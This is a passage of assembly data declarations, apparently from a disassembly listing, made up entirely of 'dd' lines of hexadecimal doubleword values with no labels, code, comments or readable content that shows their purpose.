		dd 0A782139h, 0CF01316Dh, 63A7807Ah, 0E15D29A2h, 9FA76A4Eh
		dd 7B5D362Eh, 0BD2D0F90h, 36445E76h, 0DFD2C6B5h, 5ED93EBBh
		dd 738392Fh, 42217DA7h,	4FD858E4h, 0AAA3C835h, 0E6776333h
		dd 0F096C107h, 3A20FC72h, 4F25D2FEh, 0CCD37147h, 3B582BCCh
		dd 7A83D33Ch, 6FA7F65Bh, 0AF2979E3h, 3C49273Eh,	0A25B6927h
		dd 0C89123E3h, 6A4C2F6Fh, 11727E19h, 0EF254580h, 42F11A60h
		dd 0B3CB8DF6h, 71B3A686h, 0A6E191CDh, 470E6749h, 0AB8D0011h
		dd 147B59F5h, 4DDEF618h, 0A6ED7F8Dh, 0C3BCB18Ch, 0BB94B967h
		dd 64FBFA9Dh, 7AC5BA9Ah, 0C348071Fh, 0C88BC758h, 4699EB58h
		dd 9468EA01h, 36CC4725h, 2CD7F00Bh, 475A51Ah, 0BCFE469h
		dd 0E1E34A77h, 7228B2B9h, 0A2B1A3F1h, 98BF7897h, 510058C4h
		dd 9063D179h, 51D31565h, 0E61F9693h, 4AA6DC62h,	53F2E527h
		dd 49F83130h, 0B02E4BABh, 3AADE1BCh, 3FF8D3CFh,	57AD87Ah
		dd 0E4E57B28h, 0FB300790h, 6D1D7B3Ah, 0AFFC0221h, 0ABDBD5D5h
		dd 0FEAC9E9Eh, 5A71FA53h, 8AE7EF9Dh, 66E3612Fh,	7C8A34D8h
		dd 2B559C8Fh, 4CFBED96h, 6C21752Dh, 5576284h, 0A43D1DAEh
		dd 62DAED93h, 0A5B34F3Dh, 8A1F2C21h, 59C01DEFh,	156AD05Ah
		dd 0CE884AA7h, 292B793Bh, 8ACE01BBh, 0F43C488Fh, 5EA02706h
		dd 5892DD20h, 0CF63B5DAh, 0F9F4CD09h, 3D6E2338h, 0F8DC7D5Fh
		dd 0AFA4DE13h, 3A6819D4h, 0BB8174F5h, 0F98CBEE1h, 0F28788B0h
		dd 6EA8591Ch, 0F39DD760h, 5B5B5106h, 238ACC97h,	838AA4D2h
		dd 0B30AB4D8h, 9A42CF6Fh, 8333B4D7h, 0E73A6FDCh, 2D5D6905h
		dd 15FAA9E4h, 538014C9h, 2D01336Ah, 728A3F91h, 0C4BEBB42h
		dd 8289C8DDh, 7ADD82F8h, 96E182B3h, 7473889Dh, 0A82B64CAh
		dd 0B46EF69Ch, 0A30F03D8h, 8CDB4D30h, 0A5420B18h, 8242FE50h
		dd 386350F6h, 3B0227A9h, 0EA7C328Ah, 0F98C404Ah, 0C8008382h
		dd 68ED6913h, 2F4D1450h
		dd 763247D5h, 0AC696B9Eh, 7F336944h, 55110359h,	4B7D5F19h
		dd 0AB264829h, 0DB0622DCh, 0B4AF9F27h, 0DD301D11h, 0DC95A8CFh
		dd 0D9D1932Fh, 9F80191Ch, 5971BECCh, 2CD84909h,	4B46D11Bh
		dd 2D4F9091h, 7E1BB1C1h, 0DFDC0370h, 693F9D89h,	97D2E3h
		dd 39FCA1C0h, 0FE09448Ah, 77BFB537h, 0A0E71226h, 0C5D305FAh
		dd 0E5705FD9h, 69C74322h, 0D16E8EC5h, 3FAB0A59h, 38CBE854h
		dd 0A6189837h, 98BDB1FFh, 0B6DDF937h, 699C9F9Fh, 0E0828BF7h
		dd 7628BD2h, 0A9AE1791h, 0F4281D81h, 162ACDE4h,	0E206041Fh
		dd 0BC21D3A8h, 0E5B1E3BDh, 7582879Eh, 0E5BEF98Dh, 6C343DC6h
		dd 6772C1B7h, 679D5671h, 0A57ED3AAh, 0ABFA7F2Dh, 70B58304h
		dd 0AA04F4h, 9EE9F39Eh,	52F26A70h, 0AE8BF6A8h, 26476C25h
		dd 0BF283909h, 82DDA366h, 0C3B4F1EFh, 94E89C49h, 8F1A4FBh
		dd 0F78F452Eh, 3B6C4B52h, 3F0A5E2Eh, 61D49072h,	0EBD6D027h
		dd 7AA5AA2Ch, 0D6E5555Fh, 7BE4E3F4h, 0B3EFBBCh,	7780FF27h
		dd 0E417C4D8h, 4C26F2AFh, 4464D728h, 91124548h,	5A5AC29Ch
		dd 0AC5324Fh, 2D17B346h, 0E4644743h, 197FE182h,	73C8E8DEh
		dd 756EF4EAh, 0E0AD80DEh, 54191ACh, 122A1D68h, 0E333944Ch
		dd 0B773CA12h, 0CF665D47h, 9C6ACF5Fh, 0C812D69Bh, 9703E19h
		dd 0AE3F7C25h, 617951C4h, 0B8FCA742h, 617DCF21h, 0EAE13512h
		dd 0D44C59AAh, 0C10787DDh, 0EDC02B05h, 2F7028BCh, 223F250Eh
		dd 0AA3A540Dh, 0FE649FBFh, 0D8E23A13h, 0E677656Eh, 41BBC369h
		dd 0B83805A8h, 9212213Bh, 38F08368h, 4DA518FFh,	0F2228B6Ah
		dd 0B5608C71h, 0A497F2A6h, 0D44D31ADh, 2A9CF5A4h, 0E46484CAh
		dd 8851AF1Bh, 9CFE5698h, 0F0923534h, 84F07F91h,	0DCFA2758h
		dd 0E1E3BBDCh, 796E3A98h, 0C170467Ch, 2262CEFFh, 86E0522h
		dd 565D5D5Dh, 803E90Ch,	0EC62A99Bh, 4427D506h, 0A195AF85h
		dd 4D800EBh, 0C0D742Ch,	4AAB99DAh, 6B55F6F1h, 5B66C0B0h
		dd 0DCB48D63h, 0CC82D37Dh, 0F2D1F936h, 6FC25348h, 818201FFh
		dd 0C29E16E8h, 0A4F0176Bh, 0DE6557FFh, 0CB9A84A4h, 0BA0A2C87h
		dd 4E004D3Ah, 0F05BBE73h, 9BF67151h, 476AB4BEh,	98FD2F58h
		dd 38C5188h, 0BAE0EE7Ch, 4E926029h, 9F820C26h, 0E914A74Fh
		dd 94199215h, 62090B14h, 185B4F0Dh, 4BE72A9Ch, 30B0217Fh
		dd 0B65DC538h, 0A2EFD235h, 0D3396636h, 75460EA8h, 0E731AFA8h
		dd 0AEA67041h, 0B82E6285h, 0A16063F8h, 67CCEB9Dh, 8C0941B7h
		dd 8FE97645h, 977E3872h, 0DF06450Eh, 4065273Fh,	7CEE0292h
		dd 0AD701085h, 63FC3115h, 26D6AF28h, 0F0291FA7h, 284BD4C7h
		dd 5263BADEh, 0DC8180BBh, 7F3DB6F9h, 0FB256D2Dh, 6DA4C9CDh
		dd 0A91FB527h, 121B4B4Fh, 38BC2313h, 0A551ACB3h, 0AF9BC3A4h
		dd 1305D202h, 0AF5986F8h, 1DC3D541h, 0EF60DE9Eh, 652CEC4Eh
		dd 0C568A281h, 120D20CDh, 40C1E6C5h, 0A02A8F64h, 4B3ECAEDh
		dd 0A72D90AEh, 5F9CB611h, 9B13D6A0h, 75EC18C5h,	0C9872D5Dh
		dd 3845C789h, 0B0D8D8BFh, 50FF91C9h, 0B6F1E702h, 3321658Ch
		dd 1E776636h, 7EA92553h, 0CAA68502h, 7DED1F55h,	2BDEB9D0h
		dd 1247677h, 1B18A6D6h,	981B8142h, 0AABB70B5h, 0A03B83D8h
		dd 0C237AC1Fh, 4D2B2F35h, 4C382697h, 4E3FADh, 0AF2B74E5h
		dd 0AB417E47h, 5B0D458Ah, 9E213F27h, 727A06DEh,	0C1807606h
		dd 0DE70DC38h, 27B87F8h, 1A8483BFh, 0B0FD21BCh,	0B1B85658h
		dd 29E9BBA3h, 587F7846h, 9B4DBEA6h, 129E571Bh, 0F11828E6h
		dd 2DA3645Bh, 6E283AE7h, 0C398464Eh, 7218D547h,	2627E2F6h
		dd 4E1D8513h, 286F0D90h, 0AE87C96Ch, 3EA4610Fh,	0F3352587h
		dd 6D3C3FAEh, 88FB9B92h, 4325F9BFh, 5F926F0Dh, 0F1B5D6BFh
		dd 0D8A9FAE5h, 7029674h, 39C6A645h, 721EEEE9h, 634EE048h
		dd 6547ACA7h, 0CD286D90h, 0F54B59C5h, 0F9BABE00h, 83BB2CBFh
		dd 0CF83E408h, 0F6F34B6Fh, 641C4774h, 0CC0FBC97h, 4895DAE6h
		dd 7BA448ACh, 0F4B9BD4Fh, 52379F6Ch, 4FAD4576h,	0CF779111h
		dd 1D4B90B6h, 62E84063h, 2D0C1729h, 4D0E4F39h, 0DCFCFB98h
		dd 0F38882D1h, 4EA7C757h, 0BD4ECEC1h, 0CE374A72h, 4918516Ah
		dd 0D75C493Eh, 81CF93B3h, 6F4DD6Eh, 4C38DDB3h, 6D5A456Eh
		dd 0C61F009Bh, 7BD73236h, 0AF046BB3h, 0B5205BCCh, 0A16E9325h
		dd 0CCD0D298h, 90DB7F6Ah, 0D5341A6h, 0F81609Ah,	2A352450h
		dd 0CE087789h, 0C7A57B66h, 59CB3670h, 0A7858F8Ch, 0BE13F593h
		dd 5472A27Dh, 2DB37032h, 0D362574Dh, 0D6D44FBCh, 10AB5EBEh
		dd 0CA2DEC96h, 9F463894h, 99EBAA14h, 85D2CC99h,	0D0ADA189h
		dd 0E9C9C84h, 0DF6C2571h, 0DC2151C8h, 0FD0B8A36h, 95CD2180h
		dd 8155CD13h, 0B9A4BAFBh, 0A886B8E4h, 87AD9E9Ch, 11AA4DECh
		dd 49325D70h, 4473DBBFh, 7E638F18h, 99334D98h, 5FDB37C8h
		dd 47EEF44Fh, 0E5F47EC0h, 7528707Bh, 0B5BA13FBh, 1E7A5069h
		dd 9C875A38h, 5A21BEB6h, 0FB712BA3h, 423789DEh,	0A4C9CA5Eh
		dd 0FBDD53F8h, 94F6D414h, 6832372Eh, 5ACF688Eh,	4B111A8Eh
		dd 0E57DD76h, 8C57FABCh, 6C14CAF4h, 54A91AAh, 511AAF28h
		dd 0AB67DAFFh, 0E5E247E5h, 0FA500AF7h, 84EFC993h, 35C320A8h
		dd 86D95C93h, 9E6EA90Eh, 895D9DCCh, 60DFF2BFh, 0E3568DBCh
		dd 97E33E97h, 0D1A21395h, 0DB712FA8h, 0B09060C2h, 0ACFEB162h
		dd 9A5A83B3h, 0F8F42A33h, 0E8C25C52h, 0C918D38Bh, 0D3BF5C9Dh
		dd 0DBEC7068h, 0B6CF71DBh, 0B01381A9h, 0B3E76C56h, 67432880h
		dd 91A185E1h, 9D4CDCF2h, 6438CE92h, 46868AE3h, 0AEBDB14Fh
		dd 4DE90446h, 67596C0Ch, 0D9C6460h, 356C7A19h, 3D40906Ch
		dd 0C0E3B2Bh, 0A0B93DD7h, 5241C6D7h, 4F162904h,	421ED67Dh
		dd 15C0B3E6h, 88F1062Bh, 0A31EA0E6h, 0B22E3EACh, 0BD149AFAh
		dd 46F8A1BAh, 55B79422h, 142299CFh, 24A749D4h, 24AE149Bh
		dd 870FC784h, 62022458h, 6A2F5A73h, 0D092910Fh,	9465DAFEh
		dd 1AD2E3E7h, 4D066F98h, 1A037679h, 1089BB2Fh, 798B5451h
		dd 0E221678Ah, 8F91B2A9h, 0D5C4525Dh, 596DED6Fh, 0E565C1AAh
		dd 9F314497h, 0B2BD632h, 1F672C45h, 3E651EECh, 0C9709FA8h
		dd 445BD1D4h, 9E5F15E7h, 4A3F14A6h, 2D112CE1h, 894A3A8Ch
		dd 0D4FFEA5Eh, 0B9FB5261h, 0AC30F5A2h, 596F90DEh, 96536C30h
		dd 0A0F11524h, 0A6CB442h, 496B458h, 0A406F7FDh,	11B5F9A0h
		dd 0C6F7568Ch, 529D6E58h, 2D097CF5h, 5F5C4D67h,	8D9EDE3Eh
		dd 4F2D14D7h, 568AE303h, 982AFC9Eh, 0D7D09E7Ch,	26F128E3h
		dd 4C139DBCh, 4ABD74C6h, 288EA51Ah, 14D70D4Eh, 399AE5D8h
		dd 36443A97h, 0C161FAD3h, 3FB557B8h, 6F549062h,	0F22662A4h
		dd 358ADCE2h, 0A6FB54E0h, 78ED67CBh, 1939AD63h,	0D7CF9FFEh
		dd 1D34B28Dh, 0B0711AE0h, 0AED3F271h, 0C6336B55h, 0A84FBB97h
		dd 8BB32FC4h, 0D56D68C0h, 0C374254Bh, 25C41285h, 0F99DBDC5h
		dd 99A3D351h, 886B708h,	0EE0DECF1h, 4CB70659h, 0D6C7F707h
		dd 9D826A7Bh, 29DB363Ah, 2C91D80Dh, 6B8ED7DEh, 0C0F11DD6h
		dd 301B82EEh, 0E1E9E140h, 6F178B65h, 6C030F30h,	666E03ECh
		dd 0B0A3A7DCh, 71534320h, 1BFC08CAh, 42731C86h,	0ABBE2455h
		dd 79C4BD26h, 692446Bh,	39DB584Fh, 0A86B89C6h, 416E63Ah
		dd 794233D1h, 0EB0BB3A9h, 0DF7BB48Eh, 1A58CC84h, 7F60A6A8h
		dd 0D4BED27Fh, 0E3DC67D6h, 1A439DC6h, 1A2C2A51h, 5DA713F6h
		dd 604C481Bh, 1E58E01Ch, 93C7B068h, 0F951F315h,	51676DA3h
		dd 4DE2188Fh, 6DC2E58Ch
		dd 97B2A504h, 16349EAAh, 67B5492Ah, 94EE750h, 99EFCE14h
		dd 4750DF44h, 8407A6A1h, 8719563Eh, 1AF6239Fh, 10A24E2Ch
		dd 0A3045E5Bh, 0DF9CDA0Fh, 14C5A1CFh, 0F4CFF292h, 81FEE571h
		dd 4EBBF78Ch, 771702AEh, 0EA5D2957h, 0F02E9CB7h, 99674B7Eh
		dd 0AD23E2D2h, 376DACF7h, 9CE9C0D9h, 0C4450DC9h, 88B0CB76h
		dd 3AB24EAFh, 0A55254F2h, 11C69AE7h, 334165EAh,	0D3221389h
		dd 0A59888D1h, 0C48672DBh, 8E548A77h, 487AA048h, 6B209A93h
		dd 6C0C1B14h, 25908CC6h, 0D60FD572h, 82680252h,	5FE9C15Ah
		dd 0DEA159C6h, 0DCADF6D9h, 0AD0C2274h, 9F2E9F40h, 37B23F16h
		dd 1D29571Fh, 0A76DC2ADh, 91146DBDh, 0E109B0E5h, 0FAF1A3C1h
		dd 40354E9Ch, 0A61CBB36h, 0D7EE8148h, 13200FDEh, 596C3FEDh
		dd 7353C16Ch, 0C2F12D60h, 7D1E56C1h, 0BF424B1Fh, 0D9BE182Ch
		dd 5419B2D0h, 0AD5D68B6h, 81EF277Dh, 1534C8AEh,	2790EF1Fh
		dd 94EDC57h, 2D8890F5h,	7A8D648Bh, 2688BFD4h, 0F7B093B6h
		dd 8135E1BDh, 647EED70h, 57541CECh, 0D94FDDC2h,	0CEC6D3A9h
		dd 0F182CD29h, 48CA5182h, 0C10EB8A1h, 0C2E4FD61h, 88BF8E02h
		dd 0CEA478D8h, 7FA828D7h, 0DBB6B41Eh, 714F2581h, 73B05521h
		dd 8CACB732h, 0BA67656Ch, 0AD8C69DEh, 0BE5E86Eh, 79002AB0h
		dd 8C5401Bh, 7F438F22h,	2790884Eh, 0EA1F7301h, 1929220Eh
		dd 58A4B8BFh, 6F44B7D6h, 3E4895A7h, 9B90726Fh, 9BDCA145h
		dd 7A56E9BBh, 7E74248Ch, 7D5DCDF6h, 12EBBB58h, 3D874771h
		dd 0DD17EE30h, 9290D9AFh, 47B09C18h, 29597D67h,	0CD52C4D7h
		dd 98B8D02Ah, 0F14F1088h, 476F17B3h, 6AFD3522h,	38683F0Bh
		dd 7BFE2509h, 5BE74C1Dh, 0C3167D60h, 0CB8E08BBh, 0BD26D5F8h
		dd 26675421h, 0E6AD8483h, 0FF4DF9DEh, 4A5E7270h, 396E939Ch
		dd 0D2328C67h, 0C04187BFh, 96AC9375h, 7A796E63h, 6C006E10h
		dd 0CD6B3AC0h, 164C1444h, 56489B2Eh, 0AB75DBD6h, 733FBA35h
		dd 50791D40h, 0A10F79B1h, 0B4B26342h, 2E2CB5FCh, 0E900956h
		dd 0A5CAB834h, 0F4C449C9h, 4050E53h, 3E5EA0D5h,	71356FC6h
		dd 0B4A81614h, 0FAD814E0h, 0CAFADD6Dh, 8BA092EAh, 2AF35996h
		dd 5EACD80Ah, 0DDD45F1Ch, 0BAAC0CF8h, 4DFCD771h, 0CCC97166h
		dd 31EEA8D3h, 0C1F1B103h, 6D22BDC0h, 362B23A0h,	16DFBE82h
		dd 0DBE38D9Eh, 19798FEFh, 944B45FAh, 0CFDF2836h, 24624D82h
		dd 0D34E1994h, 1EB67730h, 0E43429E3h, 1CBC8597h, 2FFB742Bh
		dd 3ACBD8D3h, 5C90A6h, 24B70794h, 0FF673758h, 2C8D01B4h
		dd 833F99DEh, 7550B693h, 0A461B8A1h, 0FB932F2Fh, 26F089B0h
		dd 15F72AE0h, 84AA3D57h, 23665B0Eh, 0A9149100h,	9E567B7h
		dd 62AC5C82h, 0B7FDF4CFh, 669277C4h, 52B037FBh,	7BBDFD7Ah
		dd 8B8C243Fh, 0BFFA337Fh, 3B272079h, 994A2E89h,	4D0E1FDBh
		dd 0B42A60C8h, 0C682E8h, 44C4D163h, 31B6924Fh, 0C4622A8h
		dd 32ACA56h, 0C6561142h, 13705A86h, 0ACA3574Bh,	0FC477BA5h
		dd 3DF80707h, 0C904E175h, 0A56523B4h, 0A632691Fh, 7A50107Ch
		dd 831763F6h, 0A6C806C6h, 0C6A09E22h, 0CD8C4DF4h, 8A5E8F9Eh
		dd 50EA672Bh, 0D58FBDA5h, 0CD5A1311h, 8728C20Ch, 0AC01953Ah
		dd 0F7F094A5h, 224A32B6h, 0EFB525E7h, 121671D9h, 90594B6Ch
		dd 0AC7DA6Ch, 34529DE7h, 0C98AE660h, 0E103A2E1h, 1453B313h
		dd 0C771296h, 79783919h, 552A56D4h, 9B70E90h, 0A261CC98h
		dd 7B13F272h, 6868B05Dh, 0DE926632h, 4B9A44C0h,	92AB4344h
		dd 17B8C41Eh, 7E568F8h,	675F26B6h, 3F4F9F68h, 9C04993h
		dd 30C8176h, 0F12E7C1Dh, 0FDBA4EB5h, 0F3716334h, 20E11A49h
		dd 6C34639h, 0F283293Fh, 0CAFAE5D5h, 61C4E93Ah,	6CD5A7E6h
		dd 9039CFAEh, 32B30155h, 0DAA77357h, 31D01DAh, 5619A897h
		dd 9A55922h, 0D233287Dh, 0A0935CBCh, 0BCCB6FEAh, 1352FDAEh
		dd 12BA37E4h, 368D3BEDh, 71533617h, 0B2662768h,	0B85A7B9Dh
		dd 0F6BAF6CEh, 0AB987BDEh, 6C1FE212h, 6DAADF3h,	9E81640Eh
		dd 3B8D83ACh, 8A4428EEh, 6AC6CC9h, 2A76F24Eh, 0ACE532E4h
		dd 0CCB67F98h, 20BE5FBBh, 57B42412h, 0A7A4D31Eh, 602D58DEh
		dd 3B012135h, 0E186253Ah, 0ED22BEE0h, 527085FEh, 0DF27059h
		dd 0D8B152CBh, 76FFDFBCh, 2E7C30A2h, 0A0F3979Bh, 0CA395578h
		dd 934AD4C2h, 0FA19E5D6h, 0FA9805A4h, 0A3480F1Ch, 0F4DEB271h
		dd 766D1019h, 0D78011C7h, 26860295h, 257F9F6Fh,	8781A6B6h
		dd 1143DF1Ah, 49920761h, 30F569B7h, 3627A682h, 98612600h
		dd 0D870FEB7h, 5EE675DFh, 0E5771751h, 0E748A823h, 3CBB4161h
		dd 24DBFBCDh, 699507Ah,	3ECBE387h, 5F0A6958h, 799C3E83h
		dd 71EFBCF5h, 0D03EF611h, 0DFC9CF70h, 6F452CDDh, 0E54B81D8h
		dd 0CF70F981h, 0CFFC5CDCh, 0C9120E2Bh, 53E949F9h, 7610A88Ch
		dd 2D0524CAh, 6E590345h, 0D55C90F8h, 0D5B7FAB5h, 68CA7BDBh
		dd 44EB804Eh, 0D0151D95h, 0E03C73FFh, 0AD4C4542h, 0B4F5A588h
		dd 0E409069Bh, 4385B2FFh, 7787D10h, 0D3231C3Bh,	0FFC0FCBEh
		dd 3B8F9D36h, 4DD49E9Ah, 61EFC31Eh, 965B9D2Ch, 32CA708Ah
		dd 4B127FDBh, 79B4C211h, 6E09A33h, 6EC146D3h, 0E22D16D4h
		dd 409C7FC4h, 290A4265h, 840F3A76h, 0ED24EABDh,	3F877420h
		dd 5BB0F5Dh, 56664B55h,	5A1AB04h, 0A297D35h, 26BCAA7Fh
		dd 3A8FDE42h, 19A37DF0h, 0F6786AC5h, 6FFA6A81h,	66A1EA0Ch
		dd 0A4D3D8BAh, 835D4C85h, 0B1D83130h, 41BDE674h, 0AD68894Dh
		dd 0EC527A95h, 4B8AC9D3h, 0D69187ABh, 8E7A96D9h, 0CF0D3E2Bh
		dd 0E223C1A8h, 981B92CDh, 0E441B572h, 6CBEF910h, 23DDB9FEh
		dd 132AF289h, 0BD7FBCD3h, 43C54B23h, 0FCDBB2B7h, 0E4C5516Dh
		dd 636A7F5Dh, 0F9230B5Fh, 0E53FCBD6h, 51B30FE2h, 0DDD2748Ch
		dd 0F6D56489h, 99BD31Ah, 0B0D42791h, 0B539AB1Dh, 0C39E9A25h
		dd 683E9099h, 6790FDC8h, 0F3D58A00h, 194DFFF6h,	1C43386Ah
		dd 1FDB0363h, 8CC33592h, 0D69598Bh, 744A94B7h, 0A613A5FDh
		dd 6622BA96h, 1A694B3h,	0F19F94A0h, 86F7AAAEh, 25F30E91h
		dd 0BB3218ACh, 79A4E71Fh, 0AE161B62h, 0AC767AD0h, 296861DAh
		dd 7AD3FF13h, 336CC1A4h, 9CC35D10h, 60BDBE3Bh, 31C7BE9Ah
		dd 223FB636h, 1D087D95h, 904B85B2h, 0A9B941C4h,	3EDED325h
		dd 9EF9AB22h, 6E0E589Bh, 650927A5h, 8AFD8147h, 0BF394FE3h
		dd 1B5CB0EBh, 5A065E85h, 9A391161h, 73903ED0h, 0A254C556h
		dd 0E237ACA4h, 1D4BE336h, 4C5C955Bh, 0D51C4FC7h, 20AE2ECAh
		dd 428CE328h, 1F50CF45h, 0F75015D7h, 58B764F1h,	65473DE4h
		dd 8B7031EFh, 9C304111h, 6259E6EBh, 0B7187A93h,	26676B7Ah
		dd 916D3148h, 0F1B23623h, 0DDA7354Bh, 7B82E93Bh, 0FCF7CE4Ch
		dd 1C38CF13h, 68E78219h, 285037E0h, 3A6F18EDh, 51383C0h
		dd 5F0398BAh, 2BDA9C4h,	0F61A3CBDh, 6762529Ch, 0C41C3D95h
		dd 59FD31C2h, 0ECEA6118h, 0F607B09Ch, 88C05283h, 0B486917Ah
		dd 0BD935C08h, 0D22ADE6Ch, 0F472934h, 51518A0Ah, 0FD5040ECh
		dd 9FBB40Ah, 2F9F1178h,	82B98DD9h, 9397A2DCh, 26F4B5BBh
		dd 0DE242BD9h, 0FB85F549h, 5641C354h, 20510AFDh, 0C0AB8D78h
		dd 0BB95BE66h, 36A48A3Ah, 25504C79h, 0B8E0AB80h, 338B5B0h
		dd 8E782C0Bh, 2DF19A78h, 2599CB4Ch, 0CCC436F0h,	5D62C1EEh
		dd 129CAE9Ch, 7894FD7Dh, 455ED3DCh, 0FA0BAD73h,	756FCAAFh
		dd 24715770h, 0DBF177D0h, 1C080C91h, 0DA358341h, 8FB66E6h
		dd 60B314BEh, 0DC085BE8h
		dd 7752A98Ah, 0A7C9E22Ah, 66D789C6h, 52B20DA7h,	9467E369h
		dd 21389629h, 4F50EB7Ch, 0BF1E156Bh, 4518BAB3h,	0F2A498A4h
		dd 51313714h, 56EFBA5Dh, 0BDE48C3Dh, 0A9F0557Bh, 2CD411E8h
		dd 0F07776AAh, 0A34CCEEEh, 0A77D9E96h, 89F2F985h, 6F880662h
		dd 84C55810h, 0AD73D3A2h, 0A6A825E3h, 6B942CE6h, 214A5C4Fh
		dd 6C3CA802h, 13A6D5C6h, 371C6125h, 0B0EDD2EBh,	0CB01D5FFh
		dd 0A58F7879h, 7F9991h,	9AC1C020h, 0DB8D5086h, 2DF7F119h
		dd 355D4742h, 0A447BFD1h, 4C58C4CAh, 4A3BBC40h,	964BE3B6h
		dd 49DB1A65h, 61236973h, 889D97CEh, 58149F23h, 0E51C10F3h
		dd 5BC5CA51h, 0B6F1D159h, 87E55E59h, 75818C14h,	3CCF283Ch
		dd 0A1F4B61Eh, 57BA4838h, 0DD0EA0Ch, 0C2654680h, 4AC8021Dh
		dd 89624F36h, 0B7006Ch,	0D95FF0D9h, 94AC027Bh, 44647FB1h
		dd 8E3CA1E3h, 1F6CD5CDh, 5E2CEA83h, 54C8CA56h, 0D442519Dh
		dd 4FA329F2h, 0F4A1E289h, 8F5FD501h, 0D311AF2Fh, 0B8B1F0A0h
		dd 0B66C2F08h, 9EBB6724h, 2D43EAEEh, 9138EA64h,	53A37539h
		dd 0E72EE121h, 0F4812DFh, 84B9A7FEh, 19980F53h,	47250245h
		dd 917E5D03h, 0B1A8F41Bh, 0F6C2D558h, 0D640C950h, 8A0DC785h
		dd 0B22B807Eh, 4453EC06h, 663DE29Bh, 247B1920h,	177ECCF4h
		dd 9B6F70CDh, 0C99B774h, 69C8A77h, 44D87281h, 0D0D10B32h
		dd 93BF2738h, 9FD54366h, 6A3F7C49h, 0D8EDE975h,	8D352635h
		dd 0C33074E3h, 4C997699h, 885B7977h, 0C8683B37h, 821AE440h
		dd 0BC6DCEF4h, 0DFF761BAh, 0C420B241h, 357DF5F3h, 0DEF63E02h
		dd 0C0D7E1F5h, 0C61503C7h, 0F66858E8h, 69060AD8h, 0EE981920h
		dd 0DC7B66C3h, 0D4F97115h, 0E6B5F8C5h, 4A036BACh, 8585E638h
		dd 7C2A73B5h, 7F10AC3h,	0BC70705h, 0A3F80CC0h, 0B3EFD10Ch
		dd 0E16AEFA8h, 34B8D69Ch, 4052B4EDh, 0D4BBA160h, 70154D4h
		dd 7B353754h, 25BBDD37h, 4C98A322h, 0DBDDE661h,	7A674187h
		dd 3BCA369h, 0C01CBB1h,	0D6E9DFC3h, 0BCC54EF7h,	0A3546B1Ah
		dd 5A3AD04Fh, 3EF73307h, 0D34197A1h, 723962D0h,	0FB787635h
		dd 3C21597Ah, 4DBC9716h, 0A1003EB8h, 408953B5h,	99EC6B32h
		dd 0C98855F4h, 0D63F0FCEh, 0DDB46D0Ah, 0F53BDAE4h, 0B6795B6Ch
		dd 0F2A67C72h, 0AC880185h, 0EF844595h, 1D7732F6h, 22C37DE8h
		dd 8170648Dh, 0F9A27C90h, 33BF20E5h, 0DF9AB3EBh, 7D10CC3Eh
		dd 0AA9261BBh, 5DCFA275h, 6278DE43h, 7B7B48B9h,	0A047E9ACh
		dd 9D95EAD3h, 59CF1785h, 5C9D8E2Dh, 0A84A8805h,	8559B849h
		dd 5087031h, 221AB3B2h,	1AAF0CD8h, 0BDD51E13h, 0A1860933h
		dd 0D5AE36DFh, 5673E921h, 0C1F62756h, 383367D7h, 54E7B2A0h
		dd 58BEEDh, 0A7881ED5h,	0E10BFC84h, 3BF91547h, 0B1C8E7FEh
		dd 0E7CFA8B7h, 574F19B7h, 0F413135Ah, 41A174D4h, 543B5713h
		dd 365C8F32h, 0FBFA06E2h, 5D31381Eh, 0B0415A74h, 0D8EBA2D0h
		dd 0CE5D84BCh, 0FA27F4B2h, 56019417h, 41B952F5h, 6C40724Ch
		dd 0D063EE8Fh, 5E2C7459h, 8B69FA9Ch, 0F50B0B6Dh, 0F731B81Dh
		dd 0D08378CCh, 689C36EEh, 0BF9236A4h, 1136B59Eh, 0C11B025Dh
		dd 1FD44E7Fh, 0D9E1F9Ah, 0C0924DE1h, 6131FD1Dh,	8F05E083h
		dd 0EA6C21D8h, 0A06F2B75h, 186D6656h, 190ADD9Dh, 44BAE2F0h
		dd 6EE3F576h, 20B40A9Eh, 0F140F239h, 58DB47FDh,	0D2F60CA8h
		dd 86538E5Bh, 0F8D8A21h, 680B06DCh, 0C0DAE1D1h,	5F1404ABh
		dd 60D8598Bh, 0FFB10232h, 5E4A93CBh, 0C81CEC51h, 3363C92Fh
		dd 6D8482A7h, 0E5281648h, 933AEDA9h, 0FFAC90E9h, 0E119AFFFh
		dd 657377B4h, 97E9AB2h,	6D1D19C3h, 0F23FACC1h, 2FC358D4h
		dd 2630DB3h, 0AB9AEBB4h, 0D7CFEEF9h, 0A5EC9182h, 1EF5D9D8h
		dd 9DDFB40Ch, 1E00ABEh,	92CC2999h, 0C1E62B23h, 3773449Eh
		dd 8F00797Ch, 0A4475D0Ch, 539B86D0h, 5E688D4Fh,	611DE935h
		dd 618CB92Fh, 0DAB49CCDh, 11E49CF8h, 9BC6B948h,	7332B2A2h
		dd 491CC2A3h, 0A1CD9922h, 0F8F87110h, 3D123037h, 0CD577F4Fh
		dd 16398327h, 62F101C4h, 7535F66Ch, 9D021B2h, 4148718Ch
		dd 75342D68h, 0AB7C9AA4h, 1D5A1FD2h, 6D439E76h,	4681AAABh
		dd 0AE3D0291h, 46356FD1h, 8592EE66h, 728890BDh,	0E8DF9B4Fh
		dd 0A461967h, 796E149Dh, 241D6B9Bh, 0A3E909F1h,	0B5F1DAEEh
		dd 0E5C29266h, 0DA93A5D9h, 8C35E49Fh, 6F13236Fh, 0F84DB986h
		dd 498B5F78h, 7AA58C31h, 0FE86D0BFh, 0F155B787h, 0F3E5830Dh
		dd 290D3A4Dh, 0EC162A5Ch, 0E01C4185h, 1FBC78B3h, 9845B1E7h
		dd 1B5BDA12h, 121F1EC6h, 0B2DDF534h, 1BB8CAB7h,	9B0A565Ah
		dd 7E8528C3h, 2EEA0021h, 0CFBCC498h, 14CD9C1Fh,	0B06425BCh
		dd 3DE1B711h, 0A2AF15Fh, 0D7941861h, 3D74C400h,	0D68AFEF9h
		dd 0BED91C18h, 52953094h, 75880499h, 69C569A8h,	0F512A519h
		dd 0FF2229A7h, 91298E9Ah, 0F399BE3Ch, 4D462540h, 91054D4Ch
		dd 696E546h, 88C0B263h,	1630638Eh, 3E4E3FA3h, 7D6F95B0h
		dd 5C443085h, 0A2F58F9Dh, 540AB1Ah, 63989A0Dh, 89D8678Fh
		dd 0D0F662E6h, 0A45EE7DDh, 0E352B658h, 9FF11B28h, 0B0ECFD34h
		dd 0C8C92FFCh, 0E044FBA9h, 0A8028D11h, 4F88DD78h, 332C70E4h
		dd 8B27A2A5h, 0A35D62D7h, 0F34803C1h, 8829A5EDh, 894F89D3h
